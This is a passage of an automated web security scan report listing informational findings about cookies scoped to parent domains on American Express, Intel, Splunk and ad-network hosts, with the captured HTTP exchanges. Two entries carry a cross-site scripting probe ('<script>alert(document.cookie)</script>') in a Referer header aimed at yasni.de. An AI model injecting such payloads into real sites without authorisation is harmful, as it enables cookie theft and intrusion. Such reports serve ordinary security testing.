Set-Cookie: zttpvc=5C2945S1469387008513466368T0I11259580C0SV1LJMVy4dqmqo38356976y83y85qeyq140ya19ya5954s92yb3930ybbq71alyc3rq790phesxabzugyddydfT0; domain=.zanox-affiliate.de; path=/
Set-Cookie: zptpvc=5C2945S1469387008513466368T0I11259580C0SV1LJMVy4dqmqo38356976y83y85qeyq140ya19ya5954s92yb3930ybbq71alyc3rq790phesxabzugyddydfT0; expires=Sat, 07-May-2011 17:39:22 GMT; domain=.zanox-affiliate.de; path=/
Content-Length: 0
Location: http://www.active-srv02.de/werbemittel/WebObjects/werbemittel.woa/wa/ads?apid=1198bf95-a2d2-4954-bf8c-6a476a8fb377&zanpid=11259580C1463786597S14786739T1469387008513466368&zanpartner=1049301
pragma: no-cache
cache-control: no-store

14.294. https://www134.americanexpress.com/consumertravel/travel.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www134.americanexpress.com
Path:	/consumertravel/travel.do

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944471975155; path=/; expires=Tue, 09-Feb-16 22:21:11 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /consumertravel/travel.do HTTP/1.1
Host: www134.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.295. https://www152.americanexpress.com/premium/credit-card-travel-insurance/home.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www152.americanexpress.com
Path:	/premium/credit-card-travel-insurance/home.do

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944472429389; path=/; expires=Tue, 09-Feb-16 22:21:12 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

14.296. http://www201.americanexpress.com/business-credit-cards/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944504993151; path=/; expires=Tue, 09-Feb-16 22:21:44 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /business-credit-cards/ HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:44 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944504993151; path=/; expires=Tue, 09-Feb-16 22:21:44 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000Ah0TpISgmrtFTlgrEbWUHnl:1115nbtvb;Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Set-Cookie: homepage=b;Expires=Sat, 12-Feb-2011 22:21:44 GMT
Cache-Control: no-cache="set-cookie,set-cookie2"
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 71549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>OPEN from Amer
...[SNIP]...

14.297. http://www201.americanexpress.com/business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944501386119; path=/; expires=Tue, 09-Feb-16 22:21:41 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789?inav=menu_cards_sbc_comparecards HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.298. http://www201.americanexpress.com/business-credit-cards/business-credit-cards previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-credit-cards

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944513423926; path=/; expires=Tue, 09-Feb-16 22:21:53 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /business-credit-cards/business-credit-cards HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:53 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944513423926; path=/; expires=Tue, 09-Feb-16 22:21:53 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=00001_E4LjccDdbbbphxEOnILV0:1115nbqmn;Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Set-Cookie: homepage=b;Expires=Sat, 12-Feb-2011 22:21:53 GMT
Cache-Control: no-cache="set-cookie,set-cookie2"
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 68448

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<
...[SNIP]...

14.299. http://www201.americanexpress.com/business-credit-cards/business-solutions/overview previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-solutions/overview

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944504607994; path=/; expires=Tue, 09-Feb-16 22:21:44 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

14.300. http://www201.americanexpress.com/business-credit-cards/find-business-credit-cards previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/find-business-credit-cards

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944495304108; path=/; expires=Tue, 09-Feb-16 22:21:35 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /business-credit-cards/find-business-credit-cards HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:35 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944495304108; path=/; expires=Tue, 09-Feb-16 22:21:35 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000JTfdlyvElahRUmUBPW_Sr5S:1115nbqmn;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 83384

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>Find Your Bu
...[SNIP]...

14.301. http://www201.americanexpress.com/business-credit-cards/see-all-business-credit-cards previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/see-all-business-credit-cards

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944502510060; path=/; expires=Tue, 09-Feb-16 22:21:42 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /business-credit-cards/see-all-business-credit-cards HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:42 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944502510060; path=/; expires=Tue, 09-Feb-16 22:21:42 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000yq-Xh-WxMu4vUVCexozgN5B:1115nbtvb;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 78468

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>All Business Car
...[SNIP]...

14.302. http://www201.americanexpress.com/getthecard/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/getthecard/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944487071298; path=/; expires=Tue, 09-Feb-16 22:21:27 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /getthecard/ HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:27 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944487071298; path=/; expires=Tue, 09-Feb-16 22:21:27 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000rksCcDlHmzQipsUe7BzBjnC:10ue6mmd9;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 48572

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script src="htt
...[SNIP]...

14.303. http://www201.americanexpress.com/getthecard/home previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/getthecard/home

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944483932373; path=/; expires=Tue, 09-Feb-16 22:21:23 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /getthecard/home?sj_tabToOpen=1&inav=menu_cards_pc_choosecard HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.304. https://www201.americanexpress.com/MobileWeb/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www201.americanexpress.com
Path:	/MobileWeb/index.jsp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944526576342; path=/; expires=Tue, 09-Feb-16 22:22:06 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /MobileWeb/index.jsp HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.305. https://www213.americanexpress.com/PowerLabsWeb/un/landingpage.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www213.americanexpress.com
Path:	/PowerLabsWeb/un/landingpage.htm

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944613478399; path=/; expires=Tue, 09-Feb-16 22:23:33 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /PowerLabsWeb/un/landingpage.htm HTTP/1.1
Host: www213.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.306. https://www217.americanexpress.com/cards/home.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www217.americanexpress.com
Path:	/cards/home.do

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944616338819; path=/; expires=Tue, 09-Feb-16 22:23:36 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cards/home.do HTTP/1.1
Host: www217.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.307. https://www217.americanexpress.com/cards/shopping/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www217.americanexpress.com
Path:	/cards/shopping/index.jsp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SaneID=173.193.214.243-1296944619382211; path=/; expires=Tue, 09-Feb-16 22:23:39 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cards/shopping/index.jsp HTTP/1.1
Host: www217.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.308. http://www91.intel.com/b/ss/intelcorp,intelappdeveloper,intelcorpsw/1/H.20.3/s73248818481806 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www91.intel.com
Path:	/b/ss/intelcorp,intelappdeveloper,intelcorpsw/1/H.20.3/s73248818481806

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

s_vi=[CS]v1|26A6E87F85163F0C-400001824071395A[CE]; Expires=Thu, 4 Feb 2016 22:36:47 GMT; Domain=.intel.com; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b/ss/intelcorp,intelappdeveloper,intelcorpsw/1/H.20.3/s73248818481806?AQB=1&ndh=1&t=5/1/2011%2016%3A34%3A7%206%20360&ce=UTF-8&pageName=sw%3Ajoin&g=http%3A//appdeveloper.intel.com/en-us/join&r=http%3A//burp/show/22&cc=USD&ch=sw&events=event5%2Cevent9&c1=app%20developer&h1=sw%7Capp%20developer%7Cen-us%7Cuser%7Cjoin%7Chome&c2=en-us&c3=user&v3=sw%3Ajoin&c4=asmo-na&v4=http%3A//appdeveloper.intel.com/en-us/join&c5=en-us&v6=app%20developer&c7=intelappdeveloper%2Cintelcorpsw&v7=en-us&c8=http%3A//appdeveloper.intel.com/en-us/join&v8=user&c9=%7Bbec98047-4063-22c9-9ea2-60a3f75f6fc2%7D&c13=Version%204.3&c14=sw%3Ajoin&c16=First%20Visit&v16=First%20Visit&c17=new&v17=new&c25=user&v28=http%3A//appdeveloper.intel.com/en-us/join&c43=user%7Cjoin%7Chome&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=985&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: www91.intel.com
Proxy-Connection: keep-alive
Referer: http://appdeveloper.intel.com/en-us/join
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wa_visitId=%7Bbec98047-4063-22c9-9ea2-60a3f75f6fc2%7D; s_cc=true; s_lv=1296945247431; s_lv_s=First%20Visit; cf=1

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:36:47 GMT
Server: Omniture DC/2.0.0
Set-Cookie: s_vi=[CS]v1|26A6E87F85163F0C-400001824071395A[CE]; Expires=Thu, 4 Feb 2016 22:36:47 GMT; Domain=.intel.com; Path=/
Location: http://www91.intel.com/b/ss/intelcorp,intelappdeveloper,intelcorpsw/1/H.20.3/s73248818481806?AQB=1&pccr=true&vidn=26A6E87F85163F0C-400001824071395A&&ndh=1&t=5/1/2011%2016%3A34%3A7%206%20360&ce=UTF-8&pageName=sw%3Ajoin&g=http%3A//appdeveloper.intel.com/en-us/join&r=http%3A//burp/show/22&cc=USD&ch=sw&events=event5%2Cevent9&c1=app%20developer&h1=sw%7Capp%20developer%7Cen-us%7Cuser%7Cjoin%7Chome&c2=en-us&c3=user&v3=sw%3Ajoin&c4=asmo-na&v4=http%3A//appdeveloper.intel.com/en-us/join&c5=en-us&v6=app%20developer&c7=intelappdeveloper%2Cintelcorpsw&v7=en-us&c8=http%3A//appdeveloper.intel.com/en-us/join&v8=user&c9=%7Bbec98047-4063-22c9-9ea2-60a3f75f6fc2%7D&c13=Version%204.3&c14=sw%3Ajoin&c16=First%20Visit&v16=First%20Visit&c17=new&v17=new&c25=user&v28=http%3A//appdeveloper.intel.com/en-us/join&c43=user%7Cjoin%7Chome&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=985&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1
X-C: ms-4.3.1
Expires: Fri, 04 Feb 2011 22:36:47 GMT
Last-Modified: Sun, 06 Feb 2011 22:36:47 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"
xserver: www418
Content-Length: 0
Content-Type: text/plain

14.309. http://yasnide.ivwbox.de/blank.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://yasnide.ivwbox.de
Path:	/blank.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

i00=17834d4ee7b34e7c0006; path=/; domain=.ivwbox.de; expires=Monday, 06-Feb-2012 18:25:55 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /blank.gif HTTP/1.1
Host: yasnide.ivwbox.de
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: srp=17834d4ee7b34e7c0006; i00=17834d4ee7b34e7c0006

Response

HTTP/1.1 200 OK
Server: s2.30.1
Date: Sun, 06 Feb 2011 18:25:55 GMT
Last-Modified: Tue, 22 Aug 2000 15:05:01 GMT
P3P: policyref=http://p3p.infonline.de/p3p.xml, CP=NOI DSP NID PSAa OUR NOR UNI COM NAV
Set-Cookie: srp=17834d4ee7b34e7c0006; path=/
Set-Cookie: i00=17834d4ee7b34e7c0006; path=/; domain=.ivwbox.de; expires=Monday, 06-Feb-2012 18:25:55 GMT
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

14.310. http://yasnide.ivwbox.de/cgi-bin/ivw/CP/hp-ano previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://yasnide.ivwbox.de
Path:	/cgi-bin/ivw/CP/hp-ano

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

i00=17834d4ee7b34e8c0006; path=/; domain=.ivwbox.de; expires=Monday, 06-Feb-2012 18:25:55 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cgi-bin/ivw/CP/hp-ano;?r=http%3A//burp/show/101&d=25333.629501983523 HTTP/1.1
Host: yasnide.ivwbox.de
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 FOUND
Server: s2.30.1
Date: Sun, 06 Feb 2011 18:25:55 GMT
Last-Modified: Tue, 22 Aug 2000 15:05:01 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Expires: Tue, 22 Aug 2000 15:05:01 GMT
P3P: policyref=http://p3p.infonline.de/p3p.xml, CP=NOI DSP NID PSAa OUR NOR UNI COM NAV
Set-Cookie: srp=17834d4ee7b34e8c0006; path=/
Set-Cookie: i00=17834d4ee7b34e8c0006; path=/; domain=.ivwbox.de; expires=Monday, 06-Feb-2012 18:25:55 GMT
Location: /blank.gif
Content-Length: 1
Content-Type: text/plain

14.311. http://ypn-js.overture.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ypn-js.overture.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

BX=as8qm3d6krjfo&b=3&s=48; expires=Tue, 05-Feb-2013 20:00:00 GMT; path=/; domain=.overture.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: ypn-js.overture.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:52 GMT
Set-Cookie: BX=as8qm3d6krjfo&b=3&s=48; expires=Tue, 05-Feb-2013 20:00:00 GMT; path=/; domain=.overture.com
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Last-Modified: Wed, 27 Aug 2008 22:13:17 GMT
Accept-Ranges: bytes
Content-Length: 3298
Cache-Control: private
Connection: close
Content-Type: text/html; charset=utf-8

<!doctype html public "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head><title>Yahoo!</title><meta name="ROBOTS" content="NOINDEX" /><style>
/* nn4 hide */
/*/*/
body {
...[SNIP]...

14.312. http://zap.mookie1.com/1/vibrantmedia/RadioshackLeadQ1/201101Q1/1/1/1${TIMESTAMP}@x90 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://zap.mookie1.com
Path:	/1/vibrantmedia/RadioshackLeadQ1/201101Q1/1/1/1${TIMESTAMP}@x90

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

OAX=rcHW801NzfgADyjj; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.mookie1.com
NXCLICK2=011PlqXoNX_vibrantmedia/RadioshackLeadQ1/201101Q1/1/1/1${TIMESTAMP}!y!90!1zvpE!1qKxJ; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.mookie1.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /1/vibrantmedia/RadioshackLeadQ1/201101Q1/1/1/1${TIMESTAMP}@x90 HTTP/1.1
Host: zap.mookie1.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:23:52 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Pragma: no-cache
Cache-control: no-cache
Set-Cookie: OAX=rcHW801NzfgADyjj; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.mookie1.com
Set-Cookie: NXCLICK2=011PlqXoNX_vibrantmedia/RadioshackLeadQ1/201101Q1/1/1/1${TIMESTAMP}!y!90!1zvpE!1qKxJ; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.mookie1.com
Location: http://t.mookie1.com/t/v1/imp?migAgencyId=43&migSource=adsrv2&migTrackDataExt=2782903;58835998;235229178;40346350&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://ad.doubleclick.net/ad/N3867.8763.VIBRANTMEDIAINC/B5178582;sz=1x1;ord=2112748198?
Content-Length: 533
Keep-Alive: timeout=60
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: NSC_d15efm_qppm_iuuq=ffffffff09499e5745525d5f4f58455e445a4a423660;path=/

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://t.mookie1.com/t/v1/imp?migAgencyId=43&am
...[SNIP]...

14.313. http://zh-hans.splunk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://zh-hans.splunk.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

Apache=173.193.214.243.1296944635269323; path=/; expires=Sun, 01-Feb-26 22:23:55 GMT; domain=.splunk.com
XARAYASID=m37gsp1a4komn8m06toh36i5v4; expires=Wed, 06 Feb 2036 04:23:55 GMT; path=/; domain=.splunk.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: zh-hans.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:55 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
Set-Cookie: Apache=173.193.214.243.1296944635269323; path=/; expires=Sun, 01-Feb-26 22:23:55 GMT; domain=.splunk.com
X-Powered-By: PHP/5.2.6
Set-Cookie: XARAYASID=m37gsp1a4komn8m06toh36i5v4; expires=Wed, 06 Feb 2036 04:23:55 GMT; path=/; domain=.splunk.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 37143

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/d
...[SNIP]...

14.314. http://zh-hant.splunk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://zh-hant.splunk.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

Apache=173.193.214.243.1296944637370874; path=/; expires=Sun, 01-Feb-26 22:23:57 GMT; domain=.splunk.com
XARAYASID=s9ut7nium0d0lodm593iqgkh82; expires=Wed, 06 Feb 2036 04:23:57 GMT; path=/; domain=.splunk.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: zh-hant.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:57 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
Set-Cookie: Apache=173.193.214.243.1296944637370874; path=/; expires=Sun, 01-Feb-26 22:23:57 GMT; domain=.splunk.com
X-Powered-By: PHP/5.2.6
Set-Cookie: XARAYASID=s9ut7nium0d0lodm593iqgkh82; expires=Wed, 06 Feb 2036 04:23:57 GMT; path=/; domain=.splunk.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21652

